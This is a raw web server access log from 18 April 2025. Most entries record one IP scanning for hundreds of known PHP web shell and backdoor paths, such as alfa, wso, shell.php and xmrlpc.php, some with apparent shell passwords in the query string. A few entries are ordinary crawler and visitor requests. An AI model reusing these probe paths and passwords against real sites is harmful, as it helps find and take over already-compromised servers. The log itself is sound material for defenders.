103.65.237.89 - - [18/Apr/2025:06:31:18 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [18/Apr/2025:06:31:44 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [18/Apr/2025:06:32:08 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [18/Apr/2025:06:32:26 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [18/Apr/2025:06:32:39 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [18/Apr/2025:06:32:44 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [18/Apr/2025:06:33:19 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [18/Apr/2025:06:33:51 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.64.160 - - [18/Apr/2025:06:39:35 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.160 - - [18/Apr/2025:06:39:35 -0400] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 52.138.175.243 - - [18/Apr/2025:07:53:42 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:44 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:44 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:45 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:45 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:46 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:46 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:47 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:48 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:48 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:49 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:49 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:50 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:51 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:51 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:52 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:52 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:53 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:53 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:54 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:54 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:55 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:56 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:56 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:57 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:58 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:58 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:53:59 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:00 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:01 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:01 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:02 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:02 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:03 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:04 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:04 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:05 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:05 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:06 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:07 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:07 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:08 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:08 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:09 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:09 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:10 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:11 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:11 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:12 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:12 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:13 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:13 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:14 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:14 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:15 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:15 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:15 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:16 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:17 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:18 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:19 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:19 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:20 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:20 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:21 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:22 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:22 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:23 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:23 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:24 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:24 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:25 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:25 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:26 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:26 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:27 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:28 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:28 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:29 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:29 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:30 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:30 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:31 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:31 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:32 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:32 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:33 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:34 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:34 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:35 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:36 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:37 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:37 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:38 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:39 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:40 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:40 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:41 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:41 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:42 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:43 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:43 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:44 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:45 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:45 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:46 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:46 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:47 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:47 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:48 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:48 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:49 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:49 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:50 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:51 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:51 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:52 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:52 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:53 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:53 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:54 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:54 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:55 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:55 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:56 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:57 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:57 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:58 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:58 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:59 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:54:59 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:00 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:01 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:01 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:02 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:03 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:04 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:06 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:07 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:08 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:11 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:12 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:13 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:13 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:15 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:16 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:17 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:18 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:19 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:20 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:20 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:21 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:22 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:22 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:23 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:24 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:25 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:25 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:26 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:27 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:27 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:28 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:29 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:30 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:30 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:31 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:32 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:32 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:33 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:33 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:34 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:35 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:35 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:36 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:36 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:37 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:38 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:38 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:39 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:40 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:41 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:42 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:43 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:43 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:44 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:45 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:46 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:47 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:48 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:50 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 2a01:4f8:221:1d3::2 - - [18/Apr/2025:06:56:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 170.106.110.146 - - [18/Apr/2025:07:19:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.75.213.2 - - [18/Apr/2025:07:28:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.8.4" 199.127.56.236 - - [18/Apr/2025:07:44:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 146.120.161.147 - - [18/Apr/2025:07:49:41 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36" 52.138.175.243 - - [18/Apr/2025:07:55:52 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:53 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:55:54 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 